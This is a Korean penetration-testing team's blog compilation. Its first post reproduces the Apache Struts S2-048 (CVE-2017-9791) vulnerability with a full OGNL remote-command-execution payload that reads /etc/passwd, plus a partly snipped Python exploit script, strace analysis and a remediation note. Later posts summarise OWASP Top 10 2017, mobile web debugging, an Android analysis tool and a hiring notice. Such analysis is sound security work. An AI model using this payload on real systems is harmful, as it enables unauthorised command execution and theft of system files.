다음 URL에 먼저 참고하시면 도움이 되실 것 같습니다.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9791

 http://struts.apache.org/docs/s2-048.html


테스트는 CentOS 6.9에서 Apache Struts 2.3.15.1 버전을 구성하여 진행하였습니다.


다음과 같은 공격구문을 URL 인코딩 한 후 name 파라미터에 입력 시도합니다.

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}


공격구문을 입력하여 접근할 경우 RCE(Remote Command Execution)가 발생하는 것을 확인하였습니다.

[그림 1] 취약한 Apache Struts 버전의 테스트 화면


위의 공격구문을 이용하여 다음과 같이 공격코드를 작성합니다.


# -*- coding: utf-8 -*-

 import sys

 import requests


 def exploit(url, cmd):

     payload = "%{"

     payload += "(#_='multipart/form-data')."

     payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."

     payload += "(#_memberAccess?"

     payload += "(#_memberAccess=#dm):"

     payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."

     payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."

     payload += "(#ognlUtil.getExcludedPackageNames().clear())."

     payload += "(#ognlUtil.getExcludedClasses().clear())."

     payload += "(#context.setMemberAccess(#dm))))."

     payload += "(#cmd='%s')." % cmd

     payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."

     payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."

     payload += "(#p=new java.lang.ProcessBuilder(#cmds))."

     payload += "(#p.redirectErrorStream(true))."

     payload += "(#process=#p.start())."

     payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."

     payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."

     payload += "(#ros.flush())"

    payload += "}"

 

     data = {

         "name": payload,

         "age": 26,

         "__checkbox_bustedBefore": "true",

         "description": "S2-048"

     }

 

> -- snip --<


 if __name__ == '__main__':

     if len(sys.argv) != 3:

         print "usage: python %s <url> <cmd>" % (sys.argv[0])

         sys.exit(0)

 

     print "[*] exploit Apache Struts2 S2-048"

     url = sys.argv[1]

     cmd = sys.argv[2]

 

     exploit(url, cmd)


작성한 공격코드를 실행할 경우 프록시를 이용하여 공격한 결과와 동일한 결과를 얻을 수 있습니다.


[그림 2] 작성한 공격코드 실행 - 1


[그림 3] 작성한 공격코드 실행 - 2


프록시를 통해 공격구문을 입력하여 접근 시, strace를 통해 분석하였습니다.


[그림 4] 요청 값 확인


[그림 5] 자식 프로세스 생성


[그림 6] /bin/bash 명령어 실행


[그림 7] /bin/cat 명령어 실행


[그림 8] /etc/passwd 파일 일기


[그림 9] /etc/passwd 파일 내용 응답


해당 취약점은 소스코드 수정을 통해 조치할 수 있습니다.


[그림 10] 취약한 SaveGangsterAction.java


[그림 11] 조치된 SaveGangsterAction.java


위와 같이 소스코드 수정을 통해 조치된 것을 확인하였습니다.

[그림 12] 조치 확인


저작자 표시 비영리 변경 금지
신고

OWASP Top10 2017

웹 어플리케이션 2017.07.17 11:29 Posted by TEAMCR@K

OWASP TOP 10 - 2017 RC1 버전이 4월 10일 자로 공개되었습니다.


아직까지는 최종 버전이 아닌 RC(Release Candidate) 버전으로 2017년 8월 25일까지 의견 수렴 후 새로운 OWASP Top 10 2017는 2017년 11월 말에 공개될 예정입니다.


해당 내용은 아래의 URL에서 확인하실 수 있습니다.

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project



2013년 버전과 비교하여 내용적인 변화는 크게 없으며 일부 취약점이 통합되고 신규 취약점이 추가되었습니다.

변화된 내용은 아래와 같습니다.



통합된 항목:

A4 - Broken Access Control


추가된 항목:

A7 - Insufficient Attack Protection

A10 - Underprotected APIs



A4 - Broken Access Control (취약한 접근 통제)

2013-A4, 2013-A7의 내용이 2017-A4으로 합쳐지는 것으로 확인할 수 있습니다.

내용을 확인해보면 2013-A4 Insecure Direct Object References(취약한 직접 객체 참조)와 2013-A7 Missing Function Level Access Control(단계적 접근 제한 기능 누락) 이 두 부분이 통합되었습니다.

Broken Access Control은 OWASP TOP 10 - 2003/2004 버전에 있던 취약점 항목입니다.


인증되지 않은 사용자가 데이터에 접근하거나 기능들을 수행할 수 있는 취약점입니다.

신뢰할 수 없는 출처에서 직접 참조를 사용할 때마다 사용자가 요청된 자원에 대한 권한을 부여받았는지 확인하기 위해 액세스 제어 검사가 포함되어야 합니다.


A7 - Insufficient Attack Protection (불충분한 공격 방어)

대부분의 어플리케이션 및 API는 수동/자동화된 공격에 대하여 탐지, 예방, 대응할 수 있는 기본 기능이 부족합니다.

어플리케이션 소유자는 공격으로부터 보호할 수 있도록 신속하게 패치를 배포할 수 있어야 합니다.


A10 - Underprotected APIs (보호되지 않은 API)

최근 어플리케이션은 일종의 API(SOAP/XML, REST/JSON, RPC, GWT, 등)에 연결되는 브라우저 및 모바일 어플리케이션의 JavaScript와 같은 Rich Client Application과 API을 포함되는 경우가 많습니다. 이 API는 보호되지 않는 경우가 많으며, 다양한 취약점이 존재합니다.

클라이언트와 API 사이의 통신이 보호되고 있는지 확인해야 하며 API에 강력한 인증방식이 모든 인증 정보, 키 및 토큰이 보호되고 있는지 확인해야 합니다.

저작자 표시 비영리 변경 금지
신고

웹 모의해킹 시 개발자도구를 이용한 웹 애플리케이션 분석으로 로직에 허점을 발견하거나 DOM영역에 대한 변조를 통해 취약점을 찾는 등 분석을 하기 위해서는 다양한 방법이 존재합니다. 모바일 웹도 이처럼 브라우저를 이용하여 디버깅을 하거나 로직을 분석할 수 있는 방법이 있어 소개하고자 합니다.


주제: 크롬 브라우저를 이용한 모바일 웹 디버깅 및 분석 방법 소개

 1. 환경구성

 2. inspect를 이용한 mobile web remote debugging

 3. 크롬브라우저를 이용한 mobile web debugging


1. 환경구성

 - Chrome 버전 32 이상 설치 된 PC

 - 안드로이드 4.4 이상에서 크롬 설치

 - USB 디버깅 허용


2. Inspect를 이용한 Mobile web remote debugging

PC와 스마트폰을 연결 후 환경구성이 되면 크롬 브라우저 주소창에 chrome://inspect 를 입력합니다.

그 후 안드로이드 기기에서 크롬 브라우저를 실행 후 분석하고자 하는 대상 사이트로 접속합니다.

<그림1> 모바일에서 크롬브라우저 실행


inspect 버튼을 누르면 모바일에서 실행되는 사이트에 대한 remote debugging을 할 수 있게 됩니다.

<그림2> 크롬 브라우저 inspect 실행


다음과 같이 모바일 웹에 대한 디버깅 혹은 로직 분석이 가능하게 됩니다.

간단하게 breakpoint를 설정하고 모바일 웹에 대한 로직 분석을 하였습니다.

<그림3> 모바일 웹 디버깅 및 로직 분석


모바일 웹 사이트에 대한 함수 분석이나 스탭별 실행을 하여 로직 분석에 용이합니다.

<그림4> 모바일 웹 사이트 함수 및 실행 로직 분석


쿠키값 혹은 리소스 정보들을 확인할 수 있습니다.

<그림5> 모바일 사이트 내 리소스 정보 확인

 

Webview를 사용하는 앱에 대해서 분석할수 있습니다.

앱에 Webview debugging이 활성화 되어있어야 합니다. 코드패치나 소스수정을 통해 webview debugable을 true로 설정합니다.

<그림6> WebView를 사용한 앱에 대한 분석


inspect 버튼을 누르면 다음과 같이 디버깅 할 수 있는 화면에 접근하게 됩니다.

<그림7> Webview를 사용하는 모바일 앱에 대한 분석


3. 크롬브라우저를 이용한 mobile web debugging

모바일 웹에 대해서 스마트폰을 이용해서 분석을 할 수도 있지만 크롬 브라우저 내에 설정을 변경하여 모바일 웹에 대한 디버깅 및 분석을 할 수있는 방법도 존재합니다.


먼저 크롬 브라우저에서 F12 버튼을 누른 후 아래 그림과 같이 스마트폰 모양의 아이콘을 클릭합니다.

그 후에 Device 선택을 할 수 있는데, 환경에 맞는 Device를 설정하면 됩니다.

<그림8> 모바일 사이트 분석을 위한 크롬브라우저 설정 변경


breakpoint를 적용하여 로직 분석하거나 DOM영역에 대한 분석이 가능합니다.

<그림9> 모바일 사이트 로직 분석


콘솔로 정의된 함수를 확인하거나 파라미터 값들을 확인합니다.

<그림10> 모바일 웹 함수 분석



Async를 활성화해서 콜스택을 살펴봅니다.

<그림11> 호출 스택 확인 및 디버깅



이렇게 크롬 브라우저를 이용하여 모바일 웹에 대한 분석을 하고 다양한 방법으로 취약점에 대한 접근을 할 수 있게 됩니다.

모바일 웹에 대한 분석 환경은 크롬 브라우저를 통한 방법 이외에도 다양하게 있고, 저희 팀크랙에서는 상황에 맞춰 보다 효율적인 방법으로 취약점을 찾고 있습니다.

감사합니다.


참고자료

https://developer.chrome.com/devtools/docs/remote-debugging


저작자 표시 비영리 변경 금지
신고

안드로이드 애플리케이션 점검 시 디컴파일이나 리패키징 등의 작업을 좀 더 간편하게 하기 위해 도구를 제작하였습니다.

점검 시 유용하게 사용하시길 바라며 아래와 같이 공유합니다.

 

파일 정보 (분할 압축 해제한 파일)

버전: 1.2

파일크기: 37.6MB

MD5: 0695ef2faef52c47b9e0cdcefeb99d17

 

Android_Auto_Analysis_Tool_TEAMCR@K_v1.2.zip.001

Android_Auto_Analysis_Tool_TEAMCR@K_v1.2.zip.002

Android_Auto_Analysis_Tool_TEAMCR@K_v1.2.zip.003

Android_Auto_Analysis_Tool_TEAMCR@K_v1.2.zip.004

 

 

기능

1. Android App Decompile

   - apk 디컴파일, log 출력 및 초기화

2. Android App repackage

   - 앱 리패키징, 임의 서명, adb push로 단말기 내 apk 파일 생성, log 출력 및 초기화

3. AndroidMenifest.xml 파일 분석 자동화

   - 단말기 내 설치된 apk/package 목록 확인, apk 파일 추출, 디컴파일, menifest 파일 파싱, app이 사용하는 권한 확인

4. 화면 캡처

   - 단말기 화면 캡처 및 저장, log 출력 및 초기화

 

사용법 소개

 

툴의 main UI 입니다.

 

<그림 1> main UI 확인

 

 

툴 최초 실행 시 AppRepack 폴더 내에 기능에 필요한 도구들을 생성합니다. (C:\AppRepack)

  

<그림 2> 기능에 필요한 도구 생성

 

 

apktool 실행 시 필요한 '1.apk' 파일의 버전을 맞추기 위해 '1.apk' 파일을 생성합니다. (C:\Users\Account\apktool\framework\1.apk)

※ 기존에 사용하던 apktool을 사용하고자 하시는 분은 해당 폴더 내에 생성된 '1.apk' 파일을 삭제 후에 사용하시면 됩니다. 

 

<그림 3> '1.apk' 파일 생성 

 

 

1. 디컴파일

 

 

'decompile' 탭에서 'decode' 옵션 체크 후 'File Open' 버튼을 눌러 디컴파일 할 애플리케이션의 apk 파일을 선택합니다.

 

<그림 4> apk 파일 선택 

 

 

apk 파일 선택 후 'start' 버튼 클릭 시 디컴파일이 진행됩니다.

 

<그림 5> 디컴파일 진행

 

 

디컴파일 시 log 창에 결과가 나타나며, 성공 시 Success 메시지가 출력됩니다. (실패 시 실패한 log도 출력)

 

<그림 6> 디컴파일 시 log 확인 

 

 

해당 툴이 위치한 폴더와 동일한 폴더에 디컴파일된 apk 파일의 파일명으로 폴더가 생성됩니다.

 

<그림 7> 디컴파일된 apk 파일의 파일명으로 폴더 생성

 

 

해당 폴더 내에서 디컴파일된 파일들을 확인할 수 있습니다.

 

<그림 8> 디컴파일된 파일 확인

 

 

2. 리패키징

 

 

'decompile' 탭에서 'build' 옵션 체크 후 'Folder Open' 버튼을 눌러 리패키징 할 애플리케이션 폴더를 선택합니다.

 

<그림 9> 리패키징할 폴더 선택

 

 

폴더 선택 후 start 버튼을 클릭합니다. (안드로이드 단말기가 연결되어 있지 않을 경우 adb push는 수행되지 않음)

 

<그림 10> 폴더 선택 후 리패키징 수행

 

 

리패키징 성공 시 log 창에 Success 메시지가 출력됩니다. (실패 시 실패 log도 출력)

 

<그림 11> 리패키징 시도 시 log 확인

 

 

연결된 안드로이드 단말기 내에 apk 파일이 생성된 것을 확인할 수 있습니다.

 

  

<그림 12> 안드로이드 단말기 내 apk 파일 생성 확인

 

 

3. AndroidMenifest.xml 분석 자동화

※ AndroidMenifest.xml - 응용 프로그램의 구성과 관련된 모든 정보를 담고 있는 파일

 

 

'menifest' 탭에서 UI를 확인합니다.

 

<그림 13> 'AndroidMenifest.xml' 분석 UI 확인

 

 

'Get App List' 버튼 클릭 시 단말기 내에 설치된 apk와 package 목록이 출력됩니다. (단말기 연결 필수)

 

<그림 14> 단말기 내 설치된 apk와 package 목록 확인

 

 

출력된 리스트 중 원하는 앱 선택 후 'Get App' 버튼을 클릭하여 로컬에 apk 파일을 받을 수 있습니다.

 

<그림 15> apk 파일 추출 시도

 

 

해당 툴이 위치하고 있는 폴더 내에 apk 파일이 생성된 것을 확인할 수 있습니다.

 

<그림 16> 추출한 apk 파일 확인

 

 

'Open App' 버튼을 클릭 후 apk 파일을 선택합니다.

 

<그림 17> apk 파일 선택

 

 

apk 파일이 디컴파일 됩니다.

 

<그림 18> apk 파일 디컴파일

 

 

'activity' 버튼 클릭 시 manifest 파일을 파싱하여 리스트로 출력합니다.

 

<그림 19> manifest 파일 파싱 및 리스트 출력

 

 

'permission' 버튼 클릭 시 해당 app이 사용하는 권한을 출력하며 영어와 한글로 된 설명을 출력합니다.

 

<그림 20> app 사용 권한 및 설명 출력

 

 

4. 화면 캡처

 

 

'capture' 탭에서 해당 기능의 UI를 확인할 수 있습니다.

 

<그림 21> 화면 캡처 기능 UI 확인

 

 

'Capture' 버튼 클릭 시 현재 단말기의 화면이 출력됩니다.

 

<그림 22> 현재 단말기 화면 출력

 

 

'Save' 버튼을 눌러 캡쳐된 사진을 저장할 수 있습니다.

 

<그림 23> 캡처 파일 저장

 

 

생성된 캡처 파일을 확인할 수 있습니다.

 

<그림 24> 생성된 캡처 파일 확인

 

 

이 툴은 모바일 앱 점검 시 하게 되는 작업들을 자동화하여 좀 더 간편하게 점검하기 위해 제작되었으며, 오픈소스를 이용하였습니다.

 

저희는 금감원, 금융위 체크리스트 기반 점검이나 모바일 모의해킹 프로젝트 수행 시 앱 분석 및 변조, 앱이 사용하고 있는 권한 확인 등의 점검에 이 툴을 활용하고 있습니다. 

저희처럼 앱 점검 또는 모바일 모의해킹을 수행해야 하는 분이나 이 쪽으로 공부를 하고 계신 분들은 이 툴을 활용해 보시면 좋을 것 같습니다.

추후 지속적으로 기능을 추가하고 수정하여 업데이트하도록 하겠습니다.

감사합니다.

저작자 표시 비영리 변경 금지
신고

2015 TeamCR@K 신입/경력 팀원 모집

CR@K 이야기 2015.01.27 13:23 Posted by TEAMCR@K

TeamCR@K에서 신입/경력 팀원을 모집합니다.


안녕하세요.

저희 TeamCR@K 블로그를 방문해주시는 여려분 대단히 감사드립니다.

2015년 을미년 새해는 잘 시작하셨는지 모르겠습니다.


새해를 맞아 저희 TeamCR@K도 변화된 모습을 보여드리고자 신입/경력 팀원을 모집하려 합니다.

주로 하는 업무는 다음과 같습니다.


- 모의해킹 및 취약점 점검

- 알려진 취약점 분석

- 버그 헌팅 및 익스플로잇 구현

- 모의해킹 시나리오 기획 및 구현


지원 의사가 있으신분은 a3_crak (_AT_) a3security.com으로 간단한 포트폴리오를 첨부하여 메일 주시길 바라겠습니다.

아무쪼록 많은 참여 부탁드리며, 저희 TeamCR@K 멤버와 함게 좋은 인연 시작할 수 있으면 좋겠습니다.


감사합니다.



저희는 당신이 TeamCR@K에 무리없이 지원할 수 있다는 것을 알 수 있습니다만,

당신의 지원이 실제상황으로 이어질 수 있다는 것 까지는 알 수 없습니다.


결정은 당신이 하실 수 있습니다 :)



저작자 표시 비영리 변경 금지
신고